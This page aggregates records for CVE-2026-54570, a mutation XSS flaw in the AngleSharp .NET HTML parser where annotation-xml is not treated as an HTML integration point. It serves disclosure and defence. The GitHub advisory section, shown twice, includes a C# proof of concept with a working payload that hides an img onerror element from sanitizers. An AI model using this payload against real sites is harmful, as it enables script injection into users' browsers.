CVE-2026-54570
AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.9
AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
- Record
CVE-2026-54570- CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N - Weakness
- CWE-80
- Updated
- 2026-11-02
EUVDEUVD-2026-61128
6.9
AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
- Record
EUVD-2026-61128- CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pgww-w46g-26qg
6.9
AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
Summary
The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.
AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:
- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
- Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235
Details
In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):
// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)
Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.
In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):
// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand: stringBuilder.Append("&"); break;
case Symbols.NoBreakSpace: stringBuilder.Append(" "); break;
case Symbols.DoubleQuote: stringBuilder.Append("""); break;
default: stringBuilder.Append(value[i]); break; // < and > pass through raw
PoC
The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.
using System;
using System.Linq;
using AngleSharp.Html.Parser;
public class Program
{
static readonly string Payload1 =
"<math>" +
"<annotation-xml encoding=\"text/html\">" +
"<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
"</annotation-xml></math>";
public static void Main()
{
var parser = new HtmlParser();
Check(parser, Payload1, "IMG",
"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
"AngleSharp found <img> – SAFE");
}
static void Check(HtmlParser parser, string html, string tag,
string failMsg, string passMsg)
{
var doc = parser.ParseDocument(html);
var tags = doc.All.Select(e => e.TagName).ToHashSet();
var found = tags.Contains(tag);
Console.WriteLine(found ? passMsg : failMsg);
Console.WriteLine("Serialized output:");
Console.WriteLine(doc.DocumentElement.OuterHtml);
}
}
Output:
AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>
The title tag may be swapped out for style and other RCDATA elements.
When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.
Impact
Implemented HTML sanitizers that depend and trust…
- Record
GHSA-pgww-w46g-26qg- CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N - Weakness
- CWE-80
- Updated
- 2026-11-02
NVD
6.9
AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
- Record
CVE-2026-54570- CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N - Weakness
- CWE-80
- Updated
- 2026-11-02
OSV
6.9
AngleSharp: HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
AngleSharp is a .NET library for parsing angle bracket based hyper-texts. Prior to 1.5.0, MathAnnotationXmlElement in AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs is not treated as an HTML integration point when its encoding attribute is text/html or application/xhtml+xml, causing Consume in AngleSharp/Html/Parser/HtmlDomBuilder.cs to route tokens through foreign-content parsing instead of HTML parsing. A sanitizer can therefore observe a different DOM from the browser that reparses the serialized output. An attacker can combine this namespace differential with markup-breaking characters in an attribute value so that an element hidden from the sanitizer becomes active script-capable HTML after browser reparse, resulting in mutation cross-site scripting. This issue is fixed in version 1.5.0.
- Record
CVE-2026-54570- CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N - Weakness
- CWE-80
- Updated
- 2026-11-02
OSVGHSA-pgww-w46g-26qg
6.9
AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
Summary
The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.
AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:
- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
- Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235
Details
In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):
// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)
Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.
In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):
// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand: stringBuilder.Append("&"); break;
case Symbols.NoBreakSpace: stringBuilder.Append(" "); break;
case Symbols.DoubleQuote: stringBuilder.Append("""); break;
default: stringBuilder.Append(value[i]); break; // < and > pass through raw
PoC
The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.
using System;
using System.Linq;
using AngleSharp.Html.Parser;
public class Program
{
static readonly string Payload1 =
"<math>" +
"<annotation-xml encoding=\"text/html\">" +
"<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
"</annotation-xml></math>";
public static void Main()
{
var parser = new HtmlParser();
Check(parser, Payload1, "IMG",
"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
"AngleSharp found <img> – SAFE");
}
static void Check(HtmlParser parser, string html, string tag,
string failMsg, string passMsg)
{
var doc = parser.ParseDocument(html);
var tags = doc.All.Select(e => e.TagName).ToHashSet();
var found = tags.Contains(tag);
Console.WriteLine(found ? passMsg : failMsg);
Console.WriteLine("Serialized output:");
Console.WriteLine(doc.DocumentElement.OuterHtml);
}
}
Output:
AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>
The title tag may be swapped out for style and other RCDATA elements.
When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.
Impact
Implemented HTML sanitizers that depend and trust…
- Record
GHSA-pgww-w46g-26qg- CVSS 3.1
- 6.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N - Weakness
- CWE-80
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
AngleSharpNuGet |
before 1.5.0 | 1.5.0 |
AngleSharpNuGet |
before 1.5.0, plus listed versions 0.10.00.10.10.11.00.12.00.12.1 Show 45 moreShow less0.13.00.13.0-alpha-7330.13.0-alpha-7340.13.0-alpha-7350.13.0-alpha-7370.13.0-alpha-7390.13.0-alpha-7420.13.0-alpha-7430.13.0-alpha-7440.13.0-alpha-7450.13.0-alpha-7480.13.0-alpha-7540.13.0-alpha-7560.13.0-alpha-7580.13.0-alpha-7600.13.0-alpha-7630.13.0-alpha-7640.13.0-alpha-7660.13.0-alpha-7680.13.0-alpha-7710.13.0-alpha-7750.13.0-alpha-7820.14.00.14.0-alpha-7830.14.0-alpha-7840.14.0-alpha-7870.14.0-alpha-7880.14.0-alpha-7890.14.0-alpha-7900.14.0-alpha-7930.14.0-alpha-7940.14.0-alpha-7960.14.0-alpha-7980.14.0-alpha-8010.14.0-alpha-8020.14.0-alpha-8030.14.0-alpha-8050.14.0-alpha-8090.14.0-alpha-8110.14.0-alpha-8130.14.0-alpha-8170.14.0-alpha-8180.15.00.15.0-alpha-140.16.0 |
1.5.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-54570 is a medium vulnerability (CVSS 6.9) in Anglesharp, published July 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in AngleSharp 1.5.0.
References
github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg
github.com/AngleSharp/AngleSharp/commit/8033a5c690af9c2c443f58e34875343fa4cc1d07
github.com/AngleSharp/AngleSharp/releases/tag/1.5.0
github.com/advisories/GHSA-pgww-w46g-26qg
github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54570.json
nvd.nist.gov/vuln/detail/CVE-2026-54570
github.com/AngleSharp/AngleSharp
Left out here: 189 versions and the rest of 2 source descriptions. The JSON record has them.